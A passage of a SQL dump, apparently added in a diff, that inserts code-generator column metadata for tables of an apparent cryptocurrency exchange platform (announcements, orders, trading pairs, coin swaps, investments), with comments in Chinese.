'标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (355, '26', 'content', '内容', 'varchar(1000)', 'String', 'content', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 4, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (356, '26', 'type', '消息类型 =普通消息 2=全站消息', 'char(1)', 'String', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 5, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (357, '26', 'status', '状态(0 未读 1已读)', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 6, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (358, '26', 'opertor_id', '操作人', 'varchar(20)', 'String', 'opertorId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (359, '26', 'create_time', NULL, 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 8, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (360, '26', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (361, '26', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 10, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (362, '26', 'del_flag', '0正常 2删除', 'char(1)', 'String', 'delFlag', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (363, '27', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (364, '27', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (365, '27', 'language', '语言 en zh', 'varchar(100)', 'String', 'language', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (366, '27', 'content', '内容', 'mediumtext', 'String', 'content', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 4, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (367, '27', 'is_show', '是否展示 0展示 2不展示', 'int', 'Long', 'isShow', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (368, '27', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 6, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (369, '27', 'type', '0=服务条款 1=秒合约说明 2=币币交易说明 3=代理活动 4=U本位合约说明 5=注册隐私政策 6=注册使用条款 7=贷款规则', 'int', 'Long', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 7, 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33'); +INSERT INTO `gen_table_column` VALUES (383, '29', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (384, '29', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (385, '29', 'author', '作者', 'varchar(255)', 'String', 'author', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (386, '29', 'content', '内容', 'text', 'String', 'content', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 4, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (387, '29', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 5, 'admin', '2023-07-19 16:05:16', '', NULL); +INSERT INTO `gen_table_column` VALUES (388, '29', 'img_url', '图片地址', 'varchar(255)', 'String', 'imgUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (389, '29', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (390, '29', 'status', '状态', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 8, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (391, '29', 'language_name', '语言', 'varchar(255)', 'String', 'languageName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 9, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (392, '29', 'likes_num', '点赞数', 'int', 'Long', 'likesNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (393, '29', 'home_type', '类型(0 首页文本 1 问题列表)', 'int', 'Long', 'homeType', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 11, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (394, '29', 'model_type', '功能(1 秒合约 2质押)', 'int', 'Long', 'modelType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 12, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (395, '29', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-19 16:05:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (415, '31', 'notice_id', '公告ID', 'int', 'Long', 'noticeId', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (416, '31', 'notice_title', '标题', 'varchar(50)', 'String', 'noticeTitle', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (417, '31', 'notice_type', '公告类型 1=公告信息 2=活动公告 3=首页滚动公告', 'char(1)', 'String', 'noticeType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 3, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (418, '31', 'model_type', '模块类型 1=公告信息 2=活动公告 3=首页滚动公告 \r\n1={1=链接弹窗 2=图文弹窗}, \r\n2={1=首页轮播活动 2=Defi挖矿活动图},\r\n3={1=首页滚动公告}\r\n注:没有二级的默认给1\r\n二级联动', 'char(1)', 'String', 'modelType', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 4, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (419, '31', 'notice_content', '内容', 'varchar(2000)', 'String', 'noticeContent', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'editor', '', 5, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (420, '31', 'comments_num', '评论数', 'int', 'Long', 'commentsNum', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (421, '31', 'cover', '图片', 'varchar(1024)', 'String', 'cover', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 7, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (422, '31', 'view_num', '浏览数', 'int', 'Long', 'viewNum', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (423, '31', 'expire_time', '公告截止时间', 'datetime', 'Date', 'expireTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 9, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (424, '31', 'img_url', '图片链接地址', 'varchar(1024)', 'String', 'imgUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 10, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (425, '31', 'chained_url', '链接地址', 'varchar(1024)', 'String', 'chainedUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 11, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (426, '31', 'detail_url', '详情页', 'varchar(500)', 'String', 'detailUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (427, '31', 'language_id', 'zh:1,cht:2,en:3,pt:4,sa:5,ko:6,ja:7,es:8,th:9,ms:10,id:11,fr:12,ru:13', 'int', 'Long', 'languageId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (428, '31', 'status', '公告状态(0正常 1关闭)', 'char(1)', 'String', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 14, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (429, '31', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (430, '31', 'remark', '备注', 'varchar(255)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'input', '', 16, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (431, '31', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 17, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (432, '31', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 18, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (433, '31', 'update_by', '修改人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 19, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (434, '31', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 20, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (435, '31', 'source', '展示端1=pc 2=h5', 'char(1)', 'String', 'source', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-20 17:05:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (480, '34', 'id', '主键', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (481, '34', 'type', '(0 买入 1卖出)', 'tinyint(1)', 'Integer', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 2, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (482, '34', 'delegate_type', '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', 'tinyint(1)', 'Integer', 'delegateType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 3, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (483, '34', 'status', '状态 0 (等待成交 1 完全成交 3已撤销)', 'tinyint(1)', 'Integer', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (484, '34', 'order_no', '订单编号', 'varchar(64)', 'String', 'orderNo', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (485, '34', 'symbol', '交易币种', 'varchar(10)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45'); +INSERT INTO `gen_table_column` VALUES (486, '34', 'coin', '结算币种', 'varchar(10)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (487, '34', 'fee', '手续费', 'decimal(20,2)', 'BigDecimal', 'fee', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (488, '34', 'delegate_total', '委托总量', 'decimal(20,6)', 'BigDecimal', 'delegateTotal', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (489, '34', 'delegate_price', '委托价格', 'decimal(20,6)', 'BigDecimal', 'delegatePrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (490, '34', 'deal_num', '已成交量', 'decimal(20,6)', 'BigDecimal', 'dealNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (491, '34', 'deal_price', '成交价', 'decimal(20,6)', 'BigDecimal', 'dealPrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (492, '34', 'delegate_value', '委托价值', 'decimal(20,2)', 'BigDecimal', 'delegateValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (493, '34', 'deal_value', '成交价值', 'decimal(20,2)', 'BigDecimal', 'dealValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (494, '34', 'delegate_time', '委托时间', 'datetime', 'Date', 'delegateTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 15, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (495, '34', 'deal_time', '成交时间', 'datetime', 'Date', 'dealTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 16, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (496, '34', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (497, '34', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 18, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (498, '34', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 19, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (499, '34', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 20, 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:46'); +INSERT INTO `gen_table_column` VALUES (500, '35', 'id', '主键id', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (501, '35', 'pair_trading', '交易对', 'varchar(100)', 'String', 'pairTrading', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (502, '35', 'symbol', '交易币种', 'varchar(10)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (503, '35', 'coin', '结算币种', 'varchar(10)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (504, '35', 'fee_rate', '手续费率', 'decimal(20,6)', 'BigDecimal', 'feeRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (505, '35', 'symbol_precision', '交易币种精度', 'tinyint', 'Long', 'symbolPrecision', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (506, '35', 'coin_precision', '结算币种精度', 'tinyint', 'Long', 'coinPrecision', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (507, '35', 'sell_min', '最低卖单价', 'decimal(20,6)', 'BigDecimal', 'sellMin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (508, '35', 'buy_max', '最高买单价', 'decimal(20,6)', 'BigDecimal', 'buyMax', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (509, '35', 'order_min', '最小下单量', 'bigint', 'Long', 'orderMin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (510, '35', 'order_max', '最大下单量', 'bigint', 'Long', 'orderMax', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (511, '35', 'enable', '启用禁用 1=启用 2=禁用', 'char(1)', 'String', 'enable', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03'); +INSERT INTO `gen_table_column` VALUES (512, '35', 'is_show', '前端是否显示 1=显示 2=隐藏', 'char(1)', 'String', 'isShow', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (513, '35', 'is_deal', '是否可交易 1=是 2=否', 'char(1)', 'String', 'isDeal', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (514, '35', 'market_buy', '市价买 1=可以 2=不可以', 'char(1)', 'String', 'marketBuy', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (515, '35', 'market_sell', '市价卖 1=可以 2=不可以', 'char(1)', 'String', 'marketSell', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (516, '35', 'limited_buy', '限价买 1=可以 2=不可以', 'char(1)', 'String', 'limitedBuy', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (517, '35', 'limited_sell', '限价卖 1=可以 2=不可以', 'char(1)', 'String', 'limitedSell', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (518, '35', 'create_by', NULL, 'varchar(50)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 19, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (519, '35', 'create_date', NULL, 'datetime', 'Date', 'createDate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 20, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (520, '35', 'update_by', NULL, 'varchar(50)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 21, 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (521, '35', 'update_date', NULL, 'datetime', 'Date', 'updateDate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 22, 'admin', '2023-07-25 11:09:50', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (522, '35', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 23, 'admin', '2023-07-25 11:09:50', '', '2023-07-27 17:23:04'); +INSERT INTO `gen_table_column` VALUES (523, '36', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (524, '36', 'from_coin', NULL, 'varchar(32)', 'String', 'fromCoin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (525, '36', 'to_coin', NULL, 'varchar(32)', 'String', 'toCoin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (526, '36', 'user_id', '用户id', 'int', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-25 13:57:19', '', NULL); +INSERT INTO `gen_table_column` VALUES (527, '36', 'username', '\n用户名称', 'varchar(256)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 5, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (528, '36', 'address', '用户地址', 'varchar(500)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 6, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (529, '36', 'status', '兑换状态0:已提交;1:成功;2失败', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 7, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (530, '36', 'amount', '金额', 'decimal(20,11)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (531, '36', 'third_rate', '三方汇率', 'decimal(20,12)', 'BigDecimal', 'thirdRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (532, '36', 'system_rate', '系统汇率', 'decimal(20,12)', 'BigDecimal', 'systemRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (533, '36', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (534, '36', 'create_time', NULL, 'datetime', 'Date', 'createTime', '0', '0', '1', '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (535, '36', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (536, '36', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 14, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (537, '36', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 15, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (538, '36', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 16, 'admin', '2023-07-25 13:57:20', '', NULL); +INSERT INTO `gen_table_column` VALUES (539, '37', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (540, '37', 'amount', '投资金额(分)', 'decimal(20,4)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (541, '37', 'days', '投资期限(天)', 'int', 'Long', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (542, '37', 'status', '0 收益 1 结算', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (543, '37', 'plan_id', '项目id', 'bigint', 'Long', 'planId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (544, '37', 'plan_title', '项目名称', 'varchar(30)', 'String', 'planTitle', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (545, '37', 'order_no', '订单编号', 'varchar(30)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (546, '37', 'create_time', '投资时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 